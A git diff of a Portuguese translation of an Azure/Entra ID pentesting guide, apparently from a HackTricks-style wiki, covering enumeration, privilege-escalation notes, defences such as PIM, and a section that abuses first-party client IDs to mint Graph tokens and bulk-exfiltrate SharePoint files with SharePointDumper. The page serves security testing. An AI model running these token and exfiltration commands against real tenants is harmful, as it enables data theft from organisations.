É altamente recomendado adicionar MFA a todos os usuários; no entanto, algumas empresas não o configuram ou podem configurá-lo com Conditional Access: o usuário será **MFA será exigido se** fizer login de uma localização específica, navegador ou **alguma condição**. Estas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Verifique:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
### Grupos
|
||||
|
||||
Para mais informações sobre grupos do Entra ID, veja:
|
||||
Para mais informações sobre Entra ID groups consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -488,8 +488,8 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grupos podem ser dinâmicos, o que basicamente significa que **se um user cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **user** pode **controlar**, ele pode abusar dessa funcionalidade para **entrar em outros grupos**.\
|
||||
> Veja como abusar de grupos dinâmicos na seguinte página:
|
||||
> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\
|
||||
> Veja como abusar de grupos dinâmicos na página a seguir:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Para mais informações sobre Entra ID service principals consulte:
|
||||
Para mais informações sobre Entra ID service principals, veja:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -715,10 +715,10 @@ Para mais informações sobre Aplicações consulte:
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Quando uma Aplicação é gerada, são concedidos dois tipos de permissões:
|
||||
Quando um App é gerado, são concedidos 2 tipos de permissões:
|
||||
|
||||
- **Permissões** concedidas ao **Service Principal**
|
||||
- **Permissões** que a **aplicação** pode ter e usar em **nome do usuário**.
|
||||
- **Permissões** que o **app** pode ter e usar em **nome do usuário**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Encontrar todas as aplicações com permissões de API para APIs não Microsoft (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az" }}
|
||||
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo o role.\
|
||||
> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo a role.\
|
||||
> Para mais informações [**veja isto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a application password.\
|
||||
> Portanto, se encontrar esta **password** você pode acessar como o **service principal** **dentro** do **tenant**.\
|
||||
> Observe que esta **password** só fica visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\
|
||||
> O **owner** da **application** pode **add a password** a ela (assim ele pode se passar por ela).\
|
||||
> Logins como esses **service principals** não são marcados como arriscados e eles **não terão MFA.**
|
||||
> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a senha da aplicação.\
|
||||
> Portanto, se você encontrar essa **senha** pode acessar como o **service principal** **dentro** do **tenant**.\
|
||||
> Observe que essa senha só é visível quando gerada (você pode alterá-la, mas não pode recuperá-la).\
|
||||
> O **proprietário** da **aplicação** pode **adicionar uma senha** a ela (assim ele pode se passar por ela).\
|
||||
> Os logins desses service principals **não são marcados como arriscados** e eles **não terão MFA.**
|
||||
|
||||
É possível encontrar uma lista de App IDs comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Para mais informações sobre Managed Identities, consulte:
|
||||
Para mais informações sobre Managed Identities consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -852,7 +927,7 @@ az identity list --output table
|
||||
|
||||
### Funções do Azure
|
||||
|
||||
Para mais informações sobre as funções do Azure, consulte:
|
||||
Para mais informações sobre funções do Azure, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -939,7 +1014,7 @@ Headers = @{
|
||||
|
||||
### Entra ID Roles
|
||||
|
||||
Para mais informações sobre Azure roles, consulte:
|
||||
Para mais informações sobre as funções do Azure, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\
|
||||
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **local admin**.
|
||||
> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **efetuar login**.\
|
||||
> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**.
|
||||
|
||||
### Unidades Administrativas
|
||||
|
||||
@@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing.
|
||||
Atores maliciosos com um **token delegado do Microsoft Graph** que inclua **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** podem enumerar **sites/drives/items** via Graph e então **obter o conteúdo de arquivos** através de **SharePoint pre-authentication download URLs** (URLs temporárias que incorporam um access token). O script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatiza todo o fluxo (enumeração → downloads pré-auth) e gera telemetria por requisição para testes de detecção.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper itself **does not authenticate**; supply an access token (optionally refresh token).
|
||||
- Pre-consented **first-party clients** can be abused to mint a Graph token without registering an app. Example `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
|
||||
- O próprio SharePointDumper **não autentica**; forneça um access token (opcionalmente um refresh token).
|
||||
- Clientes first-party pré-consentidos podem ser abusados para emitir um token do Graph sem registrar um app. Exemplo de invocações `Invoke-Auth` (do [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1120,11 +1195,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente requerem `-Origin` para satisfazer a validação de origem da reply URL.
|
||||
> FOCI TRUE clients suportam refresh entre dispositivos; FOCI FALSE clients frequentemente exigem `-Origin` para satisfazer a validação de origem da reply URL.
|
||||
|
||||
### Executando SharePointDumper para enumeration + exfiltration
|
||||
|
||||
- Dump básico com UA / proxy / throttling personalizado:
|
||||
- Dump básico com custom UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
@@ -1132,47 +1207,47 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Retomar** execuções interrompidas (reenumera, mas ignora itens baixados):
|
||||
- **Retomar** execuções interrompidas (reinicia a enumeração, mas ignora itens já baixados):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Atualização automática do token em HTTP 401** (requer EntraTokenAid carregado):
|
||||
- **Atualização automática de token em HTTP 401** (requer EntraTokenAid carregado):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Notas operacionais:
|
||||
|
||||
- Prefere tokens **CAE-enabled** para evitar expiração no meio da execução; tentativas de atualização não são registradas no log da API da ferramenta.
|
||||
- Gera **CSV/JSON request logs** para **Graph + SharePoint** e oculta por padrão os tokens de download incorporados do SharePoint (configurável).
|
||||
- Suporta **User-Agent personalizado**, **HTTP proxy**, **atraso por requisição + jitter**, e **desligamento seguro com Ctrl+C** para modelagem de tráfego durante testes de detecção/IR.
|
||||
- Prefere tokens **CAE-enabled** para evitar expiração durante a execução; tentativas de refresh **não** são registradas no log da API da ferramenta.
|
||||
- Gera **CSV/JSON request logs** para **Graph + SharePoint** e redige tokens de download do SharePoint embutidos por padrão (configurável).
|
||||
- Suporta **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, e **Ctrl+C-safe shutdown** para modelagem de tráfego durante testes de detecção/IR.
|
||||
|
||||
## Escalada de Privilégios do Entra ID
|
||||
## Escalada de Privilégios em Entra ID
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Escalada de Privilégios do Azure
|
||||
## Escalada de Privilégios no Azure
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Mecanismos Defensivos
|
||||
## Mecanismos de Defesa
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) no Azure ajuda a **evitar que privilégios excessivos** sejam atribuídos a usuários desnecessariamente.
|
||||
|
||||
Uma das principais funcionalidades do PIM é que ele permite não atribuir papéis a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Depois, sempre que o usuário quiser ativar esse papel, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **admin precisa aprovar** a solicitação.\
|
||||
Observe que o usuário também poderá solicitar a **extensão** do tempo.
|
||||
Uma das principais funcionalidades fornecidas pelo PIM é que ele permite não atribuir roles a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar esse role, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Então um **administrador precisa aprovar** a solicitação.\
|
||||
Note que o usuário também poderá solicitar a **extensão** do tempo.
|
||||
|
||||
Além disso, o **PIM envia e-mails** sempre que um papel privilegiado é atribuído a alguém.
|
||||
Além disso, o **PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quando o PIM está habilitado é possível configurar cada papel com certos requisitos como:
|
||||
Quando o PIM está habilitado é possível configurar cada role com certos requisitos, como:
|
||||
|
||||
- Duração máxima (horas) da ativação
|
||||
- Exigir MFA na ativação
|
||||
@@ -1181,9 +1256,9 @@ Quando o PIM está habilitado é possível configurar cada papel com certos requ
|
||||
- Exigir informações de ticket na ativação
|
||||
- Exigir aprovação para ativar
|
||||
- Tempo máximo para expirar as atribuições elegíveis
|
||||
- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações acontecerem com esse papel
|
||||
- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações ocorrerem com esse papel
|
||||
|
||||
### Políticas de Conditional Access
|
||||
### Conditional Access Policies
|
||||
|
||||
Check:
|
||||
|
||||
@@ -1193,19 +1268,19 @@ Check:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou uma tentativa de sign-in é muito arriscada** para ser aceita, permitindo **bloquear** o usuário ou a tentativa de sign-in.
|
||||
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou um sign-in é arriscado demais** para ser aceito, possibilitando **bloquear** o usuário ou a tentativa de sign-in.
|
||||
|
||||
Permite que o admin o configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Porém, por padrão está completamente **desabilitado**:
|
||||
Permite que o admin configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Embora, por padrão, esteja completamente **disabled**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Hoje em dia é recomendado adicionar essas restrições via políticas de Conditional Access, onde é possível configurar as mesmas opções.
|
||||
> Hoje em dia é recomendado adicionar essas restrições via Conditional Access policies quando possível, pois é onde é possível configurar as mesmas opções.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login sem sucesso ocorrem**.\
|
||||
Também permite **proibir uma lista personalizada de senhas** que você precisa fornecer.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login malsucedidas acontecem**.\
|
||||
Também permite **banir uma lista de senhas customizada** que você precisa fornecer.
|
||||
|
||||
Pode ser **aplicado tanto** no nível cloud quanto no Active Directory on-premises.
|
||||
|
||||
@@ -1213,7 +1288,7 @@ O modo padrão é **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
|
||||
Reference in New Issue
Block a user